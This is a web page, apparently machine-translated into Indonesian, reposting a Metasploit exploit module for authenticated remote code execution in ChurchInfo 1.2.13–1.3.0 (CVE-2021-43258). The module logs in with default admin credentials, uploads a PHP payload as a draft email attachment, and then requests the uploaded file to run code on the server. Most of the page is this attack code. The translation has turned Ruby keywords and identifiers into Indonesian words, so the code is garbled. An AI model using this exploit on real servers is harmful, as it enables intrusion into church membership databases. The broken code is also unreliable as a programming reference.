ChurchInfo 1.2.13-1.3.0 Eksekusi Kode Jarak Jauh

  • Whatsapp
Audio Conversion Wizard 2.01 Buffer Overflow
Audio Conversion Wizard Buffer Overflow

News.nextcloud.asia

##
# Modul ini membutuhkan Metasploit: https://metasploit.com/download
# Sumber saat ini: https://github.com/rapid7/metasploit-framework
##

kelas MetasploitModule < Msf::Exploit::Remote
Peringkat = Peringkat Normal

termasuk Msf::Exploit::Remote::HttpClient
termasuk Msf::Exploit::FileDropper
tambahkan Msf::Exploit::Remote::AutoCheck

def menginisialisasi(info = {})
super(
informasi terbaru(
info,
‘Name’ => ‘ChurchInfo 1.2.13-1.3.0 RCE Terotentikasi’,
‘Deskripsi’ => %q{
Modul ini mengeksploitasi logika di halaman CartView.php saat membuat draf email dengan lampiran.
Dengan mengunggah lampiran untuk draf email, lampiran akan ditempatkan di folder /tmp_attach/ dari
Server web ChurchInfo, yang dapat diakses melalui web oleh pengguna mana pun. Dengan mengunggah lampiran PHP dan
kemudian menjelajah ke lokasi file PHP yang diunggah di server web, kode arbitrer
eksekusi sebagai pengguna web daemon (misalnya www-data) dapat dicapai.
},
‘Lisensi’ => MSF_LICENSE,
‘Pengarang’ => [ ‘m4lwhere <[email protected]>’ ],
‘Referensi’ => [
[‘URL’, ‘http://www.churchdb.org/’],
[‘URL’, ‘http://sourceforge.net/projects/churchinfo/’],
[‘CVE’, ‘2021-43258’]
],
‘Platform’ => ‘php’,
‘Hak Istimewa’ => salah,
‘Lengkungan’ => ARCH_PHP,
‘Target’ => [[‘Automatic Targeting’, { ‘auto’ => true }]],
‘DisclosureDate’ => ‘2021-10-30’, # Dilaporkan ke pengembang ChurchInfo pada tanggal ini
‘DefaultTarget’ => 0,
‘Catatan’ => {
‘Stabilitas’ => [‘CRASH_SAFE’],
‘Keandalan’ => [‘REPEATABLE_SESSION’],
‘Efek Samping’ => [‘ARTIFACTS_ON_DISK’, ‘IOC_IN_LOGS’]
}
)
)
# Tetapkan subjek email dan pesan jika tertarik
daftar_opsi(
[
Opt::RPORT(80),
OptString.new(‘USERNAME’, [true, ‘Username for ChurchInfo application’, ‘admin’]),
OptString.new(‘PASSWORD’, [true, ‘Password to login with’, ‘churchinfoadmin’]),
OptString.new(‘TARGETURI’, [true, ‘The location of the ChurchInfo app’, ‘/churchinfo/’]),
OptString.new(‘EMAIL_SUBJ’, [true, ‘Email subject in webapp’, ‘Read this now!’]),
OptString.new(‘EMAIL_MESG’, [true, ‘Email message in webapp’, ‘Hello there!’])
]
)
akhir

cek def
jika penyimpanan data[‘SSL’] == benar
proto_var=”https”
kalau tidak
proto_var=”http”
akhir

res = kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘Default.php’),
‘metode’ => ‘DAPATKAN’,
‘vars_get’ => {
‘Proto’ => proto_var,
‘Jalur’ => target_uri.jalur
}
)

kecuali res
return CheckCode::Unknown(‘Target tidak menanggapi permintaan ke halaman loginnya!’)
akhir

# Periksa apakah judul halaman yang digunakan ChurchInfo untuk halaman loginnya.
if res.body.match(%r{ChurchInfo: Login})
print_good(‘Target adalah ChurchInfo!’)
kalau tidak
return CheckCode::Safe(‘Target tidak menjalankan ChurchInfo!’)
akhir

# Periksa versi apa yang dijalankan target menggunakan halaman pemutakhiran.
res = kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘Pembaruan Otomatis’, ‘Perbarui1_2_14Ke1_3_0.php’),
‘metode’ => ‘DAPATKAN’
)

jika res && (res.code == 500 || res.code == 200)
return CheckCode::Rentan(‘Target menjalankan ChurchInfo 1.3.0!’)
akhir

res = kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘Pembaruan Otomatis’, ‘Perbarui1_2_13Ke1_2_14.php’),
‘metode’ => ‘DAPATKAN’
)

jika res && (res.code == 500 || res.code == 200)
return CheckCode::Rentan(‘Target menjalankan ChurchInfo 1.2.14!’)
akhir

res = kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘Pembaruan Otomatis’, ‘Perbarui1_2_12Ke1_2_13.php’),
‘metode’ => ‘DAPATKAN’
)

jika res && (res.code == 500 || res.code == 200)
return CheckCode::Rentan(‘Target menjalankan ChurchInfo 1.2.13!’)
kalau tidak
return CheckCode::Safe(‘Target tidak menjalankan versi ChurchInfo yang rentan!’)
akhir
akhir

#
# Metode eksploitasi mencoba masuk, menambahkan item ke troli, lalu membuat lampiran email.
# Menambahkan item ke troli diperlukan agar kode sisi server menerima unggahan.
#
def mengeksploitasi
# Perlu mengambil nilai cookie sesi PHP terlebih dahulu untuk diteruskan ke aplikasi
vprint_status(‘Mengumpulkan cookie sesi PHP’)
jika penyimpanan data[‘SSL’] == benar
vprint_status(‘SSL benar, mengubah protokol ke HTTPS’)
proto_var=”https”
kalau tidak
vprint_status(‘SSL salah, meninggalkan protokol sebagai HTTP’)
proto_var=”http”
akhir
res = kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘Default.php’),
‘metode’ => ‘DAPATKAN’,
‘vars_get’ => {
‘Proto’ => proto_var,
‘Jalur’ => penyimpanan data[‘RHOSTS’] + ‘:’ + penyimpanan data[‘RPORT’].to_s + penyimpanan data[‘TARGETURI’]
},
‘keep_cookies’ => benar
)

# Pastikan kita mendapatkan 200 dari halaman login aplikasi
kecuali res && res.code == 200
fail_with(Kegagalan::UnexpectedReply, “#{peer} – Tidak dapat menjangkau halaman masuk ChurchInfo (kode respons: #{res.code})”)
akhir

# Periksa apakah kita benar-benar menargetkan server ChurchInfo.
kecuali res.body.match(%r{ChurchInfo: Login})
fail_with(Kegagalan::NotVulnerable, ‘Target bukan Info Gereja!’)
akhir

# Raih cookie sesi yang ditugaskan kepada kami
cookie = res.get_cookies
vprint_good(“Cookie sesi PHP adalah #{cookie}”)
vprint_status(‘Mencoba masuk’)

# Coba login dengan cookie yang ditetapkan, server akan menetapkan privs di sisi server jika diautentikasi
res = kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘Default.php’),
‘metode’ => ‘POST’,
‘vars_post’ => {
‘Pengguna’ => penyimpanan data[‘USERNAME’],
‘Kata Sandi’ => penyimpanan data[‘PASSWORD’],
‘sURLPath’ => penyimpanan data[‘TARGETURI’]
}
)

# Login yang valid akan memberi kita pengalihan 302 ke TARGETURI + /CheckVersion.php jadi periksa itu.
kecuali res && res.code == 302 && res.headers[‘Location’] == penyimpanan data[‘TARGETURI’] + ‘/CheckVersion.php’
fail_with(Failure::UnexpectedReply, “#{peer} – Periksa apakah kredensial sudah benar (kode tanggapan: #{res.code})”)
akhir
vprint_good(“Tajuk lokasi adalah #{res.headers[‘Location’]}”)
print_good(“Masuk ke aplikasi sebagai #{datastore[‘USERNAME’]}”)
vprint_status(‘Mencoba mengeksploitasi’)

# Kita harus menambahkan item ke troli sebelum kita dapat mengirim email. Ini adalah sisi server persyaratan yang sulit.
print_status(‘Menavigasi untuk menambahkan item ke keranjang’)
res = kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘SelectList.php’),
‘metode’ => ‘DAPATKAN’,
‘vars_get’ => {
‘mode’ => ‘orang’,
‘AddAllToCart’ => ‘Tambahkan+ke+Keranjang’
}
)

# Perlu memeriksa apakah item berhasil ditambahkan ke troli
# Di sini kita melihat melalui html untuk string versi, mirip dengan:
# Item dalam Keranjang: 2
kecuali res && res.code == 200
fail_with(Failure::UnexpectedReply, “#{peer} – Tidak dapat menambahkan item ke troli melalui permintaan HTTP GET ke SelectList.php (kode respons: #{res.code})”)
akhir
cart_items = res.body.match(/Item dalam Keranjang: (?\d)/)
kecuali cart_items
fail_with(Failure::UnexpectedReply, “#{peer} – Server tidak merespons dengan teks ‘Items in Cart’. Apakah ini server ChurchInfo?”)
akhir
jika cart_items[‘cart’].to_i < 1
print_error(‘Tidak ada item dalam keranjang yang terdeteksi’)
fail_with(Kegagalan::Balasan Tak Terduga,
‘Gagal menambahkan item ke troli, tidak ada item yang terdeteksi. Periksa apakah ada entri orang dalam aplikasi’)
akhir
print_good(“Item di Keranjang: #{cart_items}”)

# Mengunggah mengeksploitasi sebagai lampiran email sementara
print_good(‘Mengunggah eksploit melalui lampiran email sementara’)
payload_name = Rex::Text.rand_text_alphanumeric(5..14) + ‘.php’
vprint_status(“Nama muatan adalah #{nama_payload}”)

# Buat payload POST dengan parameter yang diperlukan untuk diuraikan oleh server
post_data = Rex::MIME::Pesan.baru
post_data.add_part(payload.encoded, ‘application/octet-stream’, nil,
“data-formulir; nama=\”Lampirkan\”; namafile=\”#{nama_payload}\””)
post_data.add_part(datastore[‘EMAIL_SUBJ’], ”, nil, ‘bentuk-data; nama=”subjek email”‘)
post_data.add_part(datastore[‘EMAIL_MESG’], ”, nil, ‘bentuk-data; nama=”pesan email”‘)
post_data.add_part(‘Simpan Email’, ”, nil, ‘form-data; nama=”kirim”‘)
file = post_data.to_s
file.strip!
res = kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘CartView.php’),
‘metode’ => ‘POST’,
‘data’ => berkas,
‘ctype’ => “multipart/form-data; boundary=#{post_data.bound}”
)

# Pastikan kita mendapatkan 200 dan muatan yang dimaksud adalah
# berhasil diunggah dan dilampirkan ke draf email.
kecuali res.code == 200 && res.body.include?(“Lampirkan file: #{payload_name}”)
fail_with(Kegagalan::Tidak diketahui, ‘Gagal mengunggah muatan.’)
akhir
print_good(“Exploit diunggah ke #{target_uri.path + ‘tmp_attach/’ + payload_name}”)

# Hapus muatan kami setelah kami mengeksploitasi
register_file_for_cleanup(nama_payload)

# Buat permintaan GET ke file PHP yang diunggah untuk mengeksekusinya di server target.
print_good(‘Menjalankan payload dengan permintaan GET’)
kirim_permintaan_cgi(
‘uri’ => normalisasi_uri(target_uri.path, ‘tmp_attach’, payload_name),
‘metode’ => ‘DAPATKAN’
)
penyelamatan ::Rex::ConnectionError
fail_with(Kegagalan::Tidak dapat dijangkau, “#{peer} – Tidak dapat tersambung ke layanan web”)
akhir
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *